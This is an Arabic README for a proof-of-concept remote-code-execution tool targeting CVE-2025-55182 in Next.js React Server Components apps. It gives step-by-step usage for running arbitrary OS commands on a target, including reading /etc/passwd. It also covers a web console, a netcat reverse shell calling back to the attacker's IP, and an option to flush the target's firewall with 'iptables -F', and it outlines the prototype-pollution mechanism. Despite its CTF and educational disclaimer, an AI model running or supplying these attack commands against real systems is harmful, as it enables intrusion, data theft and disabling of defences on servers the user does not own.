
WEB-CLI_RCE_React2Shell هي أداة استغلال تعليمية (PoC) لثغرة CVE-2025-55182، وهي خلل Prototype Pollution حرج في تطبيقات Next.js التي تستخدم React Server Components. صُممت لمسابقات CTF والأبحاث، وتتميز بوضع أمر واحد، وواجهة ويب تفاعلية، وقدرات شل عكسي لتوضيح RCE.
هذه الأداة هي استغلال بسيط (PoC) للثغرة CVE-2025-55182. وهي ثغرة خطيرة (تلوث النموذج الأولي) موجودة في تطبيقات Next.js التي تستخدم مكونات الخادم React.
إذا كان الخادم الهدف ضعيفًا، فإن هذا السكربت يتيح لك تشغيل أوامر نظام التشغيل عليه (تنفيذ الأوامر عن بُعد، أو RCE).
تم بناء هذه الأداة لأغراض التعلم، ومسابقات CTF، والبحث الأمني المسؤول.
استخدمها بأخلاق. قم بتشغيل هذا الاستغلال فقط ضد أنظمة تملكها أو لديك إذن صريح وموثق لاختبارها. الاستخدام غير المصرح به غير قانوني. هذه الأداة للأغراض التعليمية فقط.
تحتوي هذه الأداة على ثلاث طرق رئيسية لتشغيل الأوامر: أمر واحد بسيط، ووحدة تحكم ويب تفاعلية كاملة، ومحاولة لإنشاء شل عكسي تقليدي.
الحصول على الكود:
git clone https://github.com/raivenLockdown/WEB-CLI_RCE_React2Shell.git
cd REACT2SHELL
تثبيت المكتبة:
pip install requests
هذه هي أسهل طريقة للتفاعل مع الهدف. تبدأ صفحة ويب محلية على جهازك تعمل كطرفية.
تشغيل السكربت:
python3 exploit.py <TARGET_URL> --web-cli
مثال: python3 exploit.py http://target.com/ --web-cli
فتح المتصفح: سيخبرك السكربت بفتح http://127.0.0.1:8000/. يمكنك بعد ذلك كتابة الأوامر (مثل ls، whoami، cat /etc/passwd) مباشرة في صفحة الويب.
قم بتشغيل أمر واحد واحصل على الإخراج فورًا في الطرفية المحلية. مناسب للتحقق السريع مثل معرفة معرف المستخدم الخاص بك.
python3 exploit.py <TARGET_URL> --cmd '<COMMAND>'
مثال: python3 exploit.py http://target.com/ --cmd 'id'
استخدم هذا الوضع إذا كنت تريد اتصالاً ثابتًا ودائمًا. ملاحظة: غالبًا ما يفشل هذا في البيئات الواقعية بسبب جدران الحماية (تصفية الصادر).
بدء المستمع (مثل netcat):
nc -lvnp 55555
تشغيل الاستغلال:
python3 exploit.py <TARGET_URL> -i <YOUR_IP> -p 55555 [--flush]
-i <YOUR_IP>: عنوان IP لجهازك.-p 55555: المنفذ الذي يستخدمه المستمع.--flush (اختياري): يحاول تشغيل iptables -F على الهدف أولاً لمسح جدران الحماية الخاصة بالمضيف.يستخدم الاستغلال ثغرة تلوث النموذج الأولي لتحقيق تنفيذ الأوامر عن بُعد.
Object.prototype).child_process الخاص بـ Node.js). نستبدل قيمة تلك الخاصية بأمر الشل الخاص بنا.execSync) ورمي خطأ غير ضار فورًا. يتم وضع إخراج الأمر بذكاء في حقل digest لرسالة الخطأ. ثم يقرأ سكربت Python هذا الحقل للحصول على النتائج.يعتمد هذا البحث على العمل الأولي والإفصاح من مجتمع الأمن. شكرًا لجميع الباحثين والمساهمين مفتوحي المصدر.